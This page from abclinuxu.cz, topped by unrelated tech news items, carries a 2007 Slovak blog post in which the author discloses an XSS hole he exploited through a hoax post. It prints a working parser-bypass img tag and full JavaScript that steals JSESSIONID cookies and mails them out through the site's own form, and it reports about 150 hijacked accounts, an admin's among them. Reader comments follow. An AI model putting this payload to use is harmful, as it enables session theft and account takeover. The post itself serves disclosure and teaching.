Na YouTube byly zveřejněny videozáznamy přednášek z hackerské konference DEF CON 33, jež proběhla 7. až 10. srpna v Las Vegas.
Bun (Wikipedie), tj. běhové prostředí (runtime) a toolkit pro JavaScript a TypeScript, alternativa k Node.js a Deno, byl vydán ve verzi 1.3. Představení novinek také na YouTube. Bun je naprogramován v programovacím jazyce Zig.
V Lucemburku byly oznámeny výsledky posledního kola výzev na evropské továrny pro umělou inteligenci neboli AI Factories. Mezi úspěšné žadatele patří i Česká republika, potažmo konsorcium šesti partnerů vedené VŠB – Technickou univerzitou Ostrava. V rámci Czech AI Factory (CZAI), jak se česká AI továrna jmenuje, bude pořízen velmi výkonný superpočítač pro AI výpočty a vznikne balíček služeb poskytovaný odborníky konsorcia. Obojí bude sloužit malým a středním podnikům, průmyslu i institucím veřejného a výzkumného sektoru.
Byla vydána (𝕏) zářijová aktualizace aneb nová verze 1.105 editoru zdrojových kódů Visual Studio Code (Wikipedie). Přehled novinek i s náhledy a videi v poznámkách k vydání. Ve verzi 1.105 vyjde také VSCodium, tj. komunitní sestavení Visual Studia Code bez telemetrie a licenčních podmínek Microsoftu.
Ve Firefoxu bude lepší správa profilů (oddělené nastavení domovské stránky, nastavení lišt, instalace rozšíření, uložení hesla, přidání záložky atd.). Nový grafický správce profilů bude postupně zaváděn od 14.října.
Canonical vydal (email) Ubuntu 25.10 Questing Quokka. Přehled novinek v poznámkách k vydání. Jedná se o průběžné vydání s podporou 9 měsíců, tj. do července 2026.
ClamAV (Wikipedie), tj. multiplatformní antivirový engine s otevřeným zdrojovým kódem pro detekci trojských koní, virů, malwaru a dalších škodlivých hrozeb, byl vydán ve verzi 1.5.0.
Byla vydána nová verze 1.12.0 dynamického programovacího jazyka Julia (Wikipedie) určeného zejména pro vědecké výpočty. Přehled novinek v příspěvku na blogu a v poznámkách k vydání. Aktualizována byla také dokumentace.
V Redisu byla nalezena a v upstreamu již opravena kritická zranitelnost CVE-2025-49844 s CVSS 10.0 (RCE, vzdálené spouštění kódu).
Ministr a vicepremiér pro digitalizaci Marian Jurečka dnes oznámil, že přijme rezignaci ředitele Digitální a informační agentury Martina Mesršmída, a to k 23. říjnu 2025. Mesršmíd nabídl svou funkci během minulého víkendu, kdy se DIA potýkala s problémy eDokladů, které některým občanům znepříjemnily využití možnosti prokázat se digitální občankou u volebních komisí při volbách do Poslanecké sněmovny.
Včera (23.07.2007) o 10:00 ráno ste určite mnohí narazili na podozrivo vyzerajúci zápis do blogu s názvom KUPUJEM portal abclinuxu.cz. Jednalo sa samozrejme o hoax, za ktorý sa všetkým ospravedlňujem. Nikto síce jeho obsahu príliš neveril, avšak svoj účel splnil - prilákať čo najväčšiu pozornosť. Fakt, že zápis obsahoval zákerný JavaScript, bol pred očami všetkých (alebo väčšiny) návštevníkov skrytý.
XSS je útok založený na schopnosti útočníka vložiť do stránky nejaký kód (HTML, JavaScript prípadne oboje) pomocou speciálne formulovaného linku alebo vstupu do formulára. Veľmi bežným príkladom sú napríklad prihlasovacie formuláre, ktoré sa svojim používateľom snažia veci uľahčiť. Po vložení loginu a hesla a za predpokladu, že heslo nebude správne, nám server vygeneruje formulár s už vyplneným loginom (rovnakým, aký bol zadaný). Formulár by mohol vyzerať napríklad takto:
<form action="login.php" method="post"> <input type="text" name="login" value=""> <input type="password" name="heslo"> <input type="submit" value="Odoslat"> </form>
Ak vstup, v tomto prípade samotný login, nie je korektne ošetrený od tzv. metaznakov (úvodzovky, apostrofy, je väčšie ako, je menšie ako, ...), útočník bude schopný do stránky vložiť svoj kód. Povedzme, že do vyššie uvedeného formulára zadáme do kolonky login tento reťazec (heslo dáme ľubovoľné):
"><script>alert('hack!');</script><q q="
Server, snažiac sa ušetriť nám náš drahocenný čas, vráti prihlasovací formulár a do kolonky login doplní nami zadaný reťazec. Vznikne tým niečo takéto:
<form action="login.php" method="post"> <input type="text" name="login" value=""><script>alert('hack!');</script><q q=""> <input type="password" name="heslo"> <input type="submit" value="Odoslat"> </form>
Pre pochopenie tohto útoku je najskôr potrebné porozumieť spôsobu, akým sa prihlasovanie a následné overovanie používateľov na weboch vykonáva.
Ihneď po prihlásení nejakého používateľa mu server vygeneruje unikátny identifikátor (reťazec náhodných znakov), ktorý zašle naspäť jedným z týchto dvoch spôsobov:
Tento identifikátor (označovaný ako SESSION_ID) sa následne počas trvania sedenia používa ako akési dočasné heslo. Server si ho priradí k určitému používateľovi a _každého_, kto mu tento identifikátor zašle, považuje za daného, autentifikovaného, používateľa a povolí mu prístup na jeho konto už bez ďaľšieho zadávania loginu a hesla. Po odhlásení je SESSION_ID na strane serveru vymazané (a teda už viac nepoužiteľné).
Session hijacking (alebo 'Krádež sedenia') spočíva v zmocnení sa SESSION_ID už prihláseného používateľa. Každý, komu sa to podarí, bude vystupovať ako daný používateľ a to _bez_ nutnosti zadávať login alebo heslo.
Abclinuxu.cz sa proti XSS chráni metódou 'whitelisting': Má zoznam povolených HTML tagov a ku každému zoznam povolených argumentov. Všetko ostatné je zakázané. Jedná sa o najúčinnejšiu, avšak z programátorského hľadiska aj najzložitejšiu metódu - celý vstup je potrebné najskôr rozparsovať a následne odfiltrovať 'to zakázané', pričom treba pamätať na kopu iných detailov a drobností (ktoré sú bohužial/naštastie mimo tohto článku). Práve na spomínanom parsovaní abclinuxu zlyhalo.
Parser sa mi podarilo oklamať týmto HTML kódom:
<<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload="TU BOL JAVASCRIPT">>Poznámka: Obrázok musí odkazovať na existujúci súbor/URL, inak sa obsah argumentu 'onload' nevykoná.
Dôležité sú prvé dva znaky, resp. zdvojenie znaku 'je menšie ako', čo spôsobilo nesprávne vyhodnotenie argumentov tagu <IMG>. SESSION_ID som následne získal takto (na abclinuxu sa ukladá do cookie s názvom 'JSESSIONID'):
var cookie = ''; var part_num = 0; var cookie_var = document.cookie.split('; '); while (part_num < cookie_var.length) { if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') { cookie = cookie_var[part_num].split('=')[1]; break; } part_num += 1; }
Jediný problém, ktorý som v tejto chvíli musel ešte vyriešiť, bol spôsob 'dopravenia' tohto ID až ku mne. Najskôr som si ho chcel proste zaslat pomocou nejakého môjho skriptu niekde na webe (proste donútiť 'obeť' navštíviť niečo takéto: azuritov_web/skript.php?id=session_id ) avšak aby to bolo úplne transparentné, musel som na to použiť JavaScriptový 'XMLHttpRequest'. Narazil som však na problém: XMLHttpRequest sa bez výslovného povolenia od používateľa (v podobe dialógového okna vysvetlujúceho riziko) nepripojí mimo URL stránky, na ktorej JavaScript beží. Inými slovami, na zaslanie ID som mohol použiť iba skripty, ktoré boli priamo súčasťou abclinuxu. Zameral som sa teda na formulár pre odosielanie mailov, ktorý abclinuxu obsahuje. Je na ňom síce ochrana v podobe nutnosti zadať serverom vygenerovaný kód pred odoslaním mailu, avšak jeho obídenie by zvládlo aj malé dieta. Pod mojími prstami následne vznikol tento kód (trochu skrátený):
xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224'); xmlhttp.send(''); var pole = xmlhttp.responseText.split(' '); var kod = ''; var part_num = 0; while (part_num < pole.length) { if (pole[part_num] == 'hodnotu') { kod = pole[part_num+1].substring(0,4); break; } part_num += 1; } xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish'); xmlhttp.send('');
Najkôr sa pripojím na 'mailový formulár', príjmem HTML stránku vrátenú serverom a následne v nej nájdem overovací kód. Potom ho už len použijem na odoslanie mailu. A ID je moje!
Zápis v blogu som publikoval včera (23.07.2007) o 10:00 ráno pričom doslova ihneď sa mi na maili začali množiť SESSION_ID-čka rôznych ľudí. O cca 10:10 mi došlo ID Roberta Krátkeho (admin, plný prístup) a o 10:30 som JavaScript z blogu odstránil a útok tým ukončil. Ako bonus prikladám obrázky z administračného rozhrania (príloha B). Za týchto 30 minút som sa dostal na kontá cca 150tich ľudí.
Rád by som upozornil, že môj kód v žiadnom prípade nie je dokonalý. Je to prakticky len cca tretí prípad, keby som sa vo svojom živote stretol s JavaScriptom. Odpustite si preto prosím všetky poznámky smerujúce k nemu a prípadne aj jeho opravy/vylepšenia. Ďakujem. Chyba je už v tejto chvíli (dúfajme, že úplne) odstránená a všetci používatelia, ktorí v hore uvedenom čase zápis v blogu otvorili, by sa mali odhlasiť a znovu prihlásiť (vygeneruje sa im tak nové SESSION_ID, staré bude teda už nepoužiteľné).
Nakoniec som sa od Leoša dozvedel, že sa vlastne jednalo o takmer _rok_ starú dieru, ktorej sa zjavne venovalo priliš málo času a postupne upadla do zabudnutia. Viz. bug #544. Chyba sa nenachádzala priamo v abclinuxu ale v knižnici htmlparser (v ktorej bola medzičasom opravená). Leošovi tento 'prešľap' netreba mať za zlé: Má toho naozaj veľa, takže sa ani nečudujem, že sa sem-tam niečo podobné objaví. Hlavne, že sa to dobre skončilo :) .
<<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload=" var kod = ''; var cookie = ''; var xmlhttp = null; function get_mail_data() { if (xmlhttp.readyState == 4 && xmlhttp.status == 200 && xmlhttp.responseText != null) { var pole = xmlhttp.responseText.split(' '); var part_num = 0; var cookie_var = document.cookie.split('; '); while (part_num < cookie_var.length) { if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') { cookie = cookie_var[part_num].split('=')[1]; break; } part_num += 1; } part_num = 0; while (part_num < pole.length) { if (pole[part_num] == 'hodnotu') { kod = pole[part_num+1].substring(0,4); break; } part_num += 1; } send_cookie(); } } function get_mail() { var failed = false; try { xmlhttp = new ActiveXObject('Msxml2.XMLHTTP'); } catch (e1) { try { xmlhttp = new ActiveXObject('Microsoft.XMLHTTP'); } catch (e2) { xmlhttp = null; } } if (! xmlhttp) { if (typeof XMLHttpRequest != 'undefined') { xmlhttp = new XMLHttpRequest(); } else { failed = true; } } if (! failed) { xmlhttp.onreadystatechange = get_mail_data; xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224'); xmlhttp.send(''); } } function send_cookie() { var failed = false; try { xmlhttp = new ActiveXObject('Msxml2.XMLHTTP'); } catch (e1) { try { xmlhttp = new ActiveXObject('Microsoft.XMLHTTP'); } catch (e2) { xmlhttp = null; } } if (! xmlhttp) { if (typeof XMLHttpRequest != 'undefined') { xmlhttp = new XMLHttpRequest(); } else { failed = true; } } if (! failed) { xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish'); xmlhttp.send(''); } } get_mail(); ">>
Tiskni
Sdílej:
ze jmena bloku to bylo partné : test2
Jinak tohle je parádní blog, spíše to beru jako ukázkovou security kapitolu. V porovnání s blogy typu "Zkoušel jsem Gentoo, tak a tak...." je tohle alespoň něco pořádného.
Já bych v blocích psal samí blbosti, tak jsme s tím radči ani nezačal.
ze jmena bloku to bylo partné : test2Co je patrné? Copak nemůže být testovací zápisek v normálním blogu? Je nutné kvůli tomu vytvářet nové konto a k němu nový blog a zasírat tak abclinuxu mrtvými účty?
proste musis sa na nieco stazovat, tak si najdes hocijaku blbost.a) Proč myslíš, že si musím stěžovat? b) Nepovažuji to za blbost, proto o tom mluvím.
keby si chcel, tak to zmazat ide.Ano, technicky to možné je, ale udělat to nemůžeme, protože bychom tím smazali komentáře dalších uživatelů.
na abicku su doslova stovky nepouzivanych kont a urce velka kopa nepouzivanych blogov.A protože jich tu je spousta, tak jeden další už nevadí? Já bych raději, kdyby tu nebyly žádné nepoužívané účty a žádné nepoužívané blogy. Takže mi vadí každý další.
chces mi povedat, ze do majitela kazdeho jedneho z nich si tiez takto 'huboval' ako teraz do mna ? pochybujem o tom..No vidíš, pleteš se. Kdykoliv jsem si všiml, že někdo založil zbytečně nový účet, tak jsem ho na to upozornil a zeptal se, co ho k tomu vedlo. Kdykoliv někdo napíše požadavek, abych nějaké dva účty sloučili a ten starší (ke kterému třeba zapomněl heslo) vymazali, tak se to snažíme udělat. Takže jsem si nezasedl na tebe. Napsal bych to stejně komukoliv jinému - a nebylo by to poprvé.
Je to takový problém, že někde v DB je pár řádků navíc?Ne. Ale třeba v přehledu všech blogů to už tak jedno není.
kdybyste CHTĚLI, aby to šlo smazat (i přes to, že tam jsou komentáře), tak by to šlo. To víme oba dva.No samozřejmě, že by to technicky šlo. Ale tím bychom smazali komentáře všech těch lidí, kteří na zápisek reagovali - a proto to nemůžeme udělat. To víme oba dva, že? Já nemám nic proti zápisku, odhalení chyby v abíčku, ani proti diskuzi pod tím (naopak to oceňuji a jsem rád, že na to azurit upozornil). Mně vadí jen to, že kvůli tomu byl zbytečně založen další účet a blog.
Nemyslím, že tohle je dobré přirovnání. Hodilo by se spíše něco jako:
"Kdyby každý položil na ulici prázdnou krabici, neměl by je právě orgán k tomu pověřený sebrat a vyhodit?? I kdyby byly plné bordelu."Za předpokladu ignorování ideálního stavu neexistence nežádoucích krabic
neuvedomil si jej mozne nasledky (a vlastne preto jej nevenoval az taku pozornost, aku si 'zasluzila').Což je mimochodem hezký praktický příklad toho, proč raději než si s chybou nejdřív „pohrát“ je lepší nalezenou chybu rovnou oznámit adminovi nebo autorovi, který si asi snáz dovede dát dohromady možné následky. A to teď nemyslím jen tento konkrétní případ, ale obecně.